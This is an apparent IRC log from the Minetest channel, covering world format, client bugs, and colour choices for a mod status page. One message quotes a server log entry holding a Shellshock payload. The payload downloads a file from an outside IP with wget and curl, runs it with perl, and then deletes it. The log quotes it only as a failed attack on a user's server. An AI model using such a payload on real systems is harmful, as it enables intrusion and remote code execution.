19:52 |
FatalNIX |
I need top supply a valid gamespec |
19:54 |
est31 |
people say 0.5 should break things |
19:54 |
est31 |
imo we shouldnt do that |
19:54 |
est31 |
not worth it |
19:54 |
est31 |
except we really change the basic architecture |
19:54 |
est31 |
but i doubt we will get ever consensus for that |
19:55 |
est31 |
its better done as separate project |
19:55 |
FatalNIX |
I would like to see periodic tiling support for textures |
19:55 |
FatalNIX |
at some point |
19:55 |
FatalNIX |
because my eyes went nuts lol |
19:57 |
sofar |
let's switch to v3s32 and break everything |
19:57 |
|
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19:58 |
Out`Of`Control |
no |
19:58 |
sofar |
yes! |
19:58 |
Out`Of`Control |
lets change bit by bit, small steps |
19:58 |
sofar |
can't ever change in small steps to a larger world |
19:59 |
rubenwardy |
A larger world would be nice, as well as a more utilised vertical world |
20:00 |
rubenwardy |
Lol, someone tried to hack my server |
20:00 |
rubenwardy |
"GET /cgi-bin/status HTTP/1.1" 404 151 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESS!\x22;system(\x22wget http://185.106.92.143/asd.tar -O /tmp/asd.tar;curl -O /tmp/asd.tar http://185.106.92.143/asd.tar ; perl /tmp/asd.tar; rm -fr /tmp/asd.tar;rm -rf /tmp/asd.*\x22);'" |
20:00 |
sofar |
plus it would give us potentially more bits for param1 and param2 |
20:01 |
sofar |
since packing it to 128bit would make sense |
20:04 |
est31 |
also perhaps we should think on compressing more mapblocks together into the map |
20:04 |
est31 |
dunno bout param1/2 |
20:04 |
sofar |
well if xyz is 32bit, then that's 3x32 bits. It wouldn't make any sense to keep p1/p2 at 16 bits |
20:04 |
sofar |
that gives a 112bit aligned node |
20:05 |
sofar |
wait, nvm, I'm confused |
20:05 |
sofar |
nodes are (type, p1, p2) |
20:05 |
sofar |
that wouldn't change |
20:06 |
est31 |
ermm no |
20:07 |
est31 |
nodes are stored in mapblocks |
20:08 |
heavygale |
wow, the lastest client version sucks... everytime i want to type a command there is a space in front of the slash insertet automatically |
20:08 |
est31 |
heavygale, ? |
20:08 |
sofar |
heavygale: file a bug if you're offended |
20:08 |
heavygale |
sure,.. so it's not on purpose?! |
20:09 |
est31 |
i dont think so |
20:09 |
est31 |
which way did you open the console |
20:09 |
heavygale |
T |
20:09 |
est31 |
and on which commit are you |
20:09 |
heavygale |
but with the latest version it's this new console like chat-window |
20:10 |
heavygale |
https://github.com/krondor-game/minetest/releases/tag/latest |
20:15 |
|
GunshipPenguin joined #minetest |
20:21 |
Out`Of`Control |
is there a mod that block flood? |
20:23 |
|
kaeza joined #minetest |
20:23 |
kahrl |
heavygale: might be a problem with that fork |
20:24 |
kahrl |
heavygale: I can't reproduce it in official HEAD |
20:24 |
kaeza |
o/ |
20:24 |
rubenwardy |
https://github.com/minetest/minetest/issues/3880 |
20:24 |
rubenwardy |
!title |
20:24 |
MinetestBot |
rubenwardy: commands do not work on mac · Issue #3880 · minetest/minetest · GitHub |
20:24 |
rubenwardy |
Hi kaeza |
20:24 |
kaeza |
rubenwardy, http://app-mtmm.rubenwardy.com/ <-- colors are awful in search results |
20:24 |
kaeza |
<-- colorblind |
20:25 |
rubenwardy |
lol |
20:25 |
kaeza |
which ones are green and which ones are red? :( |
20:25 |
rubenwardy |
can you read it? |
20:25 |
Out`Of`Control |
hi kaeza |
20:25 |
rubenwardy |
green = added, red = everything else |
20:27 |
Calinou |
http://app-mtmm.rubenwardy.com/status/?a=Calinou |
20:27 |
Calinou |
:| |
20:27 |
kaeza |
rubenwardy, that particular shade of green is ard on the eyes |
20:27 |
kaeza |
+h |
20:27 |
Sokomine |
probably doesn't help if the colors cannot be distinguished visually. you might add a text field somewhere that contains the information provided in the color |
20:28 |
rubenwardy |
It's #353 currently |
20:28 |
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20:28 |
kaeza |
green should be a lot brighter IMHO |
20:28 |
rubenwardy |
If the mod was added, it's green. If the mod was not added, it's red. Is "added" not enough? |
20:30 |
rubenwardy |
Give me colours to try, if you want. Currently #533 #353 and #222 for background, #ccc for link, #aaa for normal text |
20:32 |
rubenwardy |
found a plugin to test colour blindness, it's pretty bad |
20:35 |
hoodedice |
#1ce |
20:36 |
kaeza |
00d3d1ce |
20:36 |
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20:36 |
hoodedice |
> not even proper hex |
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20:37 |
kaeza |
what |
20:40 |
kaeza |
rubenwardy, #383 and #833 work for me |
20:40 |
rubenwardy |
I choose these in the end: http://app-mtmm.rubenwardy.com/status/?a=kaeza |
20:40 |
rubenwardy |
should I still do 383 etc? |
20:45 |
kaeza |
http://i.imgur.com/v07xLle.png <-- #383 and #833 |
20:52 |
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20:52 |
kaeza |
another possibility is add icons to the rows (checkmark for "OK", cross for "Error") |
20:54 |
kaeza |
and the a { color: #0be; } is quite out of place IMHO |
20:54 |
kaeza |
or, well, I mean for the <h1> |
20:57 |
* kaeza |
goes back under his rock |
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21:33 |
* Fixer |
lifts the rock |
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22:04 |
lambda-11235 |
Will //save save to your computer or the server? |
22:05 |
red-001 |
server? |
22:05 |
red-001 |
is that a World Edit command? |
22:05 |
sofar |
double // |
22:05 |
sofar |
likely |
22:05 |
lambda-11235 |
red-001: Yes. |
22:05 |
sofar |
lambda-11235: worldedit saves on the server |
22:05 |
sofar |
mods can't save on the client |
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angelo1123_ |
hey guys |
22:30 |
angelo1123_ |
whos online |
22:31 |
red-001 |
not me |
22:31 |
angelo1123_ |
lol |
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